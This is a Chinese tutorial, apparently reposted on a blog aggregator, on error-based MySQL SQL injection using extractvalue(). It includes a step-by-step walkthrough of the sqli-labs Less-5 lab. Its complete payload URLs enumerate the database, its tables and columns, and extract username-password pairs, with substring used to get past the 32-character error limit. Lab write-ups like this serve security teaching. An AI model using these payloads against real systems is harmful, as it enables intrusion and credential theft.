extractvalue报错注入理论及实战

news2024/11/24 18:41:21

报错注入

什么是报错注入

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句,返回报错提示中包括数据库中的内容

如上图所示,通过group by的报错,我们可以知道列数是多少

输入正确的查询数据库的SQL语句,虽然可以执行成功,但是页面不显示数据库的名称

我们故意将database写为databasa,此时数据库的名称security在报错信息中显示了出来

因此可以利用报错的信息得到我们想要的信息。

1.通过floor()报错注入

2.通过extractvalue()报错注入

3.通过updatexml()报错注入

通过extractvalue()报错注入

extractvalue包含两个参数,第一个参数XML文档对象名称,第二个参数 路径

select extractvalue(doc,'/book/author/surname') from xml;

把查询参数格式符号写错

select extractvalue(doc,'`book/title') from xml;

可以看到'~book/title'在报错的时候是可以回显出来的,如果将这个地方换成SQL语句,他也会将结果以报错的形式反馈出来。

select extractvalue(doc,concat(0x7e,(select database()))) from xml;

错误提示成功报错出我们要查询的内容

extractvalue(1,2)//两个参数

concat(1,2)//两个参数

(select database())//要把命令写到括号里面,之后可以直接使用替换括号内容的方式进行查询。黄色括号里面

报错注入:一次只能返回32个字符问题,解决此问题可以使用substring函数

substring(1,2,3)三个参数,第一个参数是内容,第二个参数是要从第几个开始截取,第三个参数是要截取多少个

?id=1' and 1=extractvalue(1,concat(0x73,(select substring(group_concat(username,'-',password),25,30)from users))) --+

1.数据库 security
2.数据库 http://sqli-labs:8088/Less-5/?id=1' union select extractvalue (1,concat(0x7e,(select database())))  --+ 
3.数据表 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))  --+ 
4.数据段 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))  --+ 
5.查询内容 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(username,'-',password) from security.users)))  --+ 
6.截取内容 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select substring(group_concat(username,'-',password),30,60) from security.users)))  --+ 
本次注入sqli-labs靶场的Less-5

首先按照页面提示,get请求拼接?id=1尝试,发现页面显示You are in......... 页面可以正常显示

按照我们注入的顺序,第一步先去分析是字符型还是数字型,如果是字符型要弄清楚闭合方式是什么,我们随便丢一个单引号尝试。根据报错提示,可以看出是字符型注入而且闭合方式是单引号

下一步去判断列数,使用order by函数。列数为3时可以正常显示,由此判定列数为3

构造SQL语句,查询数据库信息,查看回显内容位置,发现命令执行成功,但是页面没有回显内容。

直接尝试报错注入,使用extractvalue函数。构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,'~adb') --+

可以看到报错回显了内容信息,可以使用报错注入。

先查数据库,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select database()))) --+

拿到了数据库名称security

紧接着查询数据表,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

得到数据表 users,根据经验可以猜出账号与密码都在这个表里面

查询数据表里面的字段,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+

拿到字段:id,username,password

都到这一步了,直接查询username,password这两个字段里面的信息,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,'-',password) from security.users))) --+

得到了内容,但是显示的不完整,这是因为报错注入一次只能返回32个字符,直接使用substring函数帮助我们

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(username,'-',password),30,30) from security.users))) --+

注入完成!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1183146.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

理解交叉熵(Cross Entropy)

交叉熵(Cross-Entropy)是一种用于衡量两个概率分布之间的距离或相似性的度量方法。在机器学习中,交叉熵通常用于损失函数,用于评估模型的预测结果与实际标签之间的差异。 在分类问题中,交叉熵损失函数通常用于多分类问…

如何在公文套红过程中设置页码

zOffice的套红功能,是把源文件套入到公文模版的书签中去,将两个文件合成一个,那么源文件的一些设置可能会保留也可能会被重置,那么如何在公文套红中保留页码设置呢?当然是通过zOffice丰富的SDK接口来实现控制了&#x…

WebGL软件项目类型

WebGL(Web Graphics Library)是一种用于在Web浏览器中渲染3D和2D图形的JavaScript API。它提供了强大的能力,可以用于开发各种类型的项目,包括但不限于以下几种,希望对大家有所帮助。北京木奇移动技术有限公司&#xf…

Vue 3 中,watch 和 watchEffect 的区别

结论先行: watch 和 watchEffect 都是监听器,都是用来监听响应式数据的变化并执行相应操作。区别是: watch:需要指明要监听的数据,而且在回调函数中可以获取到属性变化的前后值; 适用于需要精确控制监视…

学习在echarts中优化数据视图dataView样式带表格样式,支持复制功能

学习在echarts中优化数据视图dataView样式 带表格样式 toolbox里有个dataView视图模式,里面的数据没有对整,影响展示效果,情形如下: 像这种标题跟数据没有整齐对应上,看起来乱 改问题解决方案为,option 》…

IO多路复用 Linux C Server-Client 多用户聊天系统

目录 Server-Client mutiplexingServer mutiplexingClient mutiplexing Server-Client 在Linux系统中,IO多路复用是一种机制,它允许一个进程能够监视多个文件描述符(sockets、pipes等)的可读、可写和异常等事件。这样&#xf…

6-会话、过滤器、监听器

6-会话、过滤器、监听器 文章目录 6-会话、过滤器、监听器会话会话概述为什么需要会话管理会话管理实现的手段 Cookie概述使用时效设置路径设置:特定请求才携带cookie SessionHttpSession的概述HttpSession的使用HttpSession的使用-getSession()方法原理HttpSession…

Django快速指南

开始构建 Web 应用程序不仅需要对编码和设计原则有深入的了解,还需要对安全性和性能坚定不移的承诺。在数字化存在至关重要的时代,构建强大而高效的在线平台的能力是一项具有不可估量价值的技能。本教程专门面向网络工匠,即那些希望将技术线索…

提高 bbr 的灵敏性

bbr draft 给出了 MaxBwFilterLen 的定义: MaxBwFilterLen: The filter window length for BBR.MaxBwFilter 2 (representing up to 2 ProbeBW cycles, the current cycle and the previous full cycle). 从 v1 到 v3 版本,该值均只跟状态机而不跟实际&…

#龙迅视频转换IC LT7911D是一款高性能Type-C/DP/EDP 转MIPI®DSI/CSI/LVDS 芯片,适用于VR/显示应用。

1.说明 应用功能:LT7911D适用于DP1.2转MIPIDSI/MIPICSI/LVDS,EDP转MIPIDSI/MIPICSI/LVDS,TYPE-C转MIPIDSI/MIPICSI/LVDS应用方案 分辨率:单PORT高达4K30HZ,双PORT高达4K 60HZ 工作温度范围:−40C to 85C 产…

Discourse 如何在 header 上添加 HTML

虽然现在大部分网站都开始支持使用 CDN 的网站校验了。 但还有些网站在你需要他们提供服务的时候要求使用 header 的 meta 数据校验。 Discourse 是可以轻松的实现上面的功能的。 添加方法 选择你的 Discourse 网站下的自定义。 然后在左侧选择你需要添加的主题。 为了方便…

【EI会议征稿】第三届电气、电力与电网系统国际会议(ICEPGS 2024)

第三届电气、电力与电网系统国际会议(ICEPGS 2024) 2024 3rd International Conference on Electrical, Power and Grid Systems 第三届电气、电力与电网系统国际会议(ICEPGS 2024)将于2024年1月26-28日在马来西亚吉隆坡隆重举行…

计算机毕业设计 基于SpringBoot的私人西服定制系统的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍:✌从事软件开发10年之余,专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ 🍅文末获取源码联系🍅 👇🏻 精…

【hexo博客配置】hexo icarus主题配置

配置icarus 步骤一:下载icarus github网址:[hexo-theme-icarus](ppoffice/hexo-theme-icarus: A simple, delicate, and modern theme for the static site generator Hexo. (github.com)) 可以从这个网址上下载zip文件,解压后&#xff0c…

【JAVA学习笔记】65 - 文件类,IO流--节点流、处理流、对象流、转换流、打印流

项目代码 https://github.com/yinhai1114/Java_Learning_Code/tree/main/IDEA_Chapter19/src/com/yinhai 文件 一、文件,流 文件,对我们并不陌生,文件是保存数据的地方,比如大家经常使用的word文档,txt文件,excel文件..都是文件。它既可以保存一张图片…

HK WEB3 MONTH Polkadot Hong Kong 火热报名中!

HK Web3 Month 11月除了香港金融科技周外,HK Web3 Month又是一大盛事,从10月29日开始开幕直到11月18日结束。此次将齐聚世界各地的Web3产业从业者、开发者、社群成员和学生来参与本次盛会。除外,超过75位产业知名的讲者与超过50场工作坊将为…

【笔记】回顾JavaWeb结合自身开发的项目——分层解耦与IOC、MySQL简单查询

分层解耦的三层架构 如下图所示是手术训练系统中的实现: 如果你需要从new EmpServiceA()变为new EmpServiceB(),那么必然需要修改Service和Controller层的代码,那么如果我们不new 这个对象呢?是不是就不需要依赖Controller层。 …

Kafka -- 架构、分区、副本

1、Kafka的架构: 1、producer:消息的生产者 2、consumer:消息的消费者 3、broker:kafka集群的服务者,一个broker就是一个节点,主要是负责处理消息的读、写的请求和存储消息。在kafka cluster中包含很多的br…

2023年10月Web3行业月度发展报告区块链篇 |陀螺研究院

10月是加密动荡的一月,围绕比特币现货ETF市场激荡不断,先有Cointelegraph“假消息”搅动市场以致合约遭血洗1.89亿美元,后有灰度、DCTT接二连三释放利好,市场情绪迅速激化,流动性显著提升,USDT 总市值突破8…

全场景数实融合聚焦北京——2023(第六届)行业信息技术应用创新大会隆重召开

2023年11月3日,2023(第六届)行业信息技术应用创新大会在北京裕龙国际酒店隆重举行。中国当前正处于经济转型的关键时期,数字经济的发展对中国新经济和新格局的形成至关重要,而信息技术是数字经济发展过程中必不可少的技术铺垫,企业对信息技术的应用非常依赖业务场景。因此,本届…